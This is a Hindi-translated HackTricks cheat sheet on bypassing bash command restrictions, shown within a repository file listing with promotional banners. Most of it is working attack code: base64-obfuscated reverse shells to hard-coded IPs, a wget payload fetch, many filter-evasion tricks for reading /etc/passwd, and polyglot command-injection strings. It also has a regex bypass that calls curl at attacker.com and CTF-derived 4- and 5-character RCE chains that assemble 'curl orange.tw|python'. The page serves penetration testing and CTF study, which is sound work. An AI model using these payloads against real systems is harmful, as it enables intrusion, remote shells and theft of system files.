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Translator 07d2b08729 Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat
2024-09-16 20:58:22 +00:00
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bypass-fs-protections-read-only-no-exec-distroless Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat 2024-09-16 20:58:22 +00:00
README.md Translated ['README.md', 'backdoors/salseo.md', 'binary-exploitation/arb 2024-07-18 18:53:16 +00:00

README.md

लिनक्स प्रतिबंधों को दूर करें

{% hint style="success" %} AWS हैकिंग सीखें और प्रैक्टिस करें:HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)
GCP हैकिंग सीखें और प्रैक्टिस करें: HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)

हैकट्रिक्स का समर्थन करें
{% endhint %}


Trickest का उपयोग करें और आसानी से बनाएं और ऑटोमेट वर्कफ़्लो जो दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित हैं।
आज ही पहुंच प्राप्त करें:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %}

सामान्य प्रतिबंधों को दूर करने के तरीके

रिवर्स शैल्‍ड

# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h

छोटा रिवर्स शैल

#Trick from Dikline
#Get a rev shell with
(sh)0>/dev/tcp/10.10.10.10/443
#Then get the out of the rev shell executing inside of it:
exec >&0

पथों और निषिद्ध शब्दों को दौर करें

# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost

# Wildcard(*) binary substitution
/usr/bin/who*mi # /usr/bin/whoami

# Wildcard + local directory arguments
touch -- -la # -- stops processing options after the --
ls *
echo * #List current files and folders with echo and wildcard

# [chars]
/usr/bin/n[c] # /usr/bin/nc

# Quotes
'p'i'n'g # ping
"w"h"o"a"m"i # whoami
ech''o test # echo test
ech""o test # echo test
bas''e64 # base64

#Backslashes
\u\n\a\m\e \-\a # uname -a
/\b\i\n/////s\h

# $@
who$@ami #whoami

# Transformations (case, reverse, base64)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
$(rev<<<'imaohw') #whoami
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64

# Execution through $0
echo whoami|$0

# Uninitialized variables: A uninitialized variable equals to null (nothing)
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters

# New lines
p\
i\
n\
g # These 4 lines will equal to ping

# Fake commands
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown

# Concatenation of strings using history
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami

निषिद्ध अंतरिक्षों को दौर करें

# {form}
{cat,lol.txt} # cat lol.txt
{echo,test} # echo test

# IFS - Internal field separator, change " " for any other character ("]" in this case)
cat${IFS}/etc/passwd # cat /etc/passwd
cat$IFS/etc/passwd # cat /etc/passwd

# Put the command line in a variable and then execute it
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
#  Other way, just change each space for ${IFS}
echo${IFS}test

# Using hex format
X=$'cat\x20/etc/passwd'&&$X

# Using tabs
echo "ls\x09-l" | bash

# Undefined variables and !
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a

बैकस्लैश और स्लैश को दौर करें

cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

पाइप को अनदेखा करें

bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

हेक्स इन्कोडिंग के साथ बायपास

echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`

आईपी को बाइपास करें

# Decimal IPs
127.0.0.1 == 2130706433

समय आधारित डेटा निकासी

time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi

एनवायरनमेंट वेरिएबल्स से चार्स प्राप्त करना

echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/

DNS डेटा उद्धारण

आप burpcollab या pingb का उपयोग कर सकते हैं।

बिल्टइंस

यदि आप बाहरी फ़ंक्शनों को नहीं चला सकते और केवल सीमित संख्या में बिल्टइंस तक पहुंच है तो RCE प्राप्त करने के लिए कुछ उपयोगी ट्रिक्स हैं। आम तौर पर आपको सभी बिल्टइंस का उपयोग नहीं करने की अनुमति होगी, इसलिए आपको जेल को उलटने की कोशिश करने के लिए अपने सभी विकल्पों को जानना चाहिए। devploit से विचार।
सबसे पहले सभी शेल बिल्टइंस** की जांच करें।** फिर यहाँ आपके पास कुछ सिफारिशें हैं:

# Get list of builtins
declare builtins

# In these cases PATH won't be set, so you can try to set it
PATH="/bin" /bin/ls
export PATH="/bin"
declare PATH="/bin"
SHELL=/bin/bash

# Hex
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")

# Input
read aaa; exec $aaa #Read more commands to execute and execute them
read aaa; eval $aaa

# Get "/" char using printf and env vars
printf %.1s "$PWD"
## Execute /bin/ls
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
## To get several letters you can use a combination of printf and
declare
declare functions
declare historywords

# Read flag in current dir
source f*
flag.txt:1: command not found: CTF{asdasdasd}

# Read file with read
while read -r line; do echo $line; done < /etc/passwd

# Get env variables
declare

# Get history
history
declare history
declare historywords

# Disable special builtins chars so you can abuse them as scripts
[ #[: ']' expected
## Disable "[" as builtin and enable it as script
enable -n [
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!

पॉलीग्लॉट कमांड इंजेक्शन

1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/

पॉटेंशियल रेजेक्स को बायपास करें

# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`

बैशफस्केटर

# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'

5 अक्षरों के साथ RCE

# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_

## Step2: generate `curl orange.tw|python` to file "g"
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file

## Finally execute the file "g"
http://host/?cmd=sh g


# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
## Execute tar command over a folder
http://52.199.204.34/?cmd=>tar
http://52.199.204.34/?cmd=>zcf
http://52.199.204.34/?cmd=>zzz
http://52.199.204.34/?cmd=*%20/h*

# Another curiosity if you can read files of the current folder
ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder

4 अक्षरों के साथ RCE

# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
# and then generate the full command in filenames
# generate "g> ht- sl" to file "v"
'>dir'
'>sl'
'>g\>'
'>ht-'
'*>v'

# reverse file "v" to file "x", content "ls -th >g"
'>rev'
'*v>x'

# generate "curl orange.tw|python;"
'>\;\\'
'>on\\'
'>th\\'
'>py\\'
'>\|\\'
'>tw\\'
'>e.\\'
'>ng\\'
'>ra\\'
'>o\\'
'>\ \\'
'>rl\\'
'>cu\\'

# got shell
'sh x'
'sh g'

केवल पठनीय/नोएक्सेक/डिस्ट्रोलेस बायपास

यदि आप केवल पठनीय और नोएक्सेक सुरक्षा या फिर एक डिस्ट्रोलेस कंटेनर में हैं, तो भी विभिन्न बाइनरी को क्रियाशील करने के तरीके हैं, यहां तक कि एक शैल भी!:

{% content-ref url="bypass-fs-protections-read-only-no-exec-distroless/" %} bypass-fs-protections-read-only-no-exec-distroless {% endcontent-ref %}

चरूट और अन्य जेल्स बायपास

{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %} escaping-from-limited-bash.md {% endcontent-ref %}

संदर्भ और अधिक


Trickest का उपयोग करें और आसानी से वर्कफ़्लो बनाएं और स्वयं कार्यशील करें दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा।
आज ही पहुंच प्राप्त करें:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %}

{% hint style="success" %} AWS हैकिंग सीखें और अभ्यास करें:HackTricks प्रशिक्षण AWS रेड टीम विशेषज्ञ (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks प्रशिक्षण GCP रेड टीम विशेषज्ञ (GRTE)

HackTricks का समर्थन करें
{% endhint %}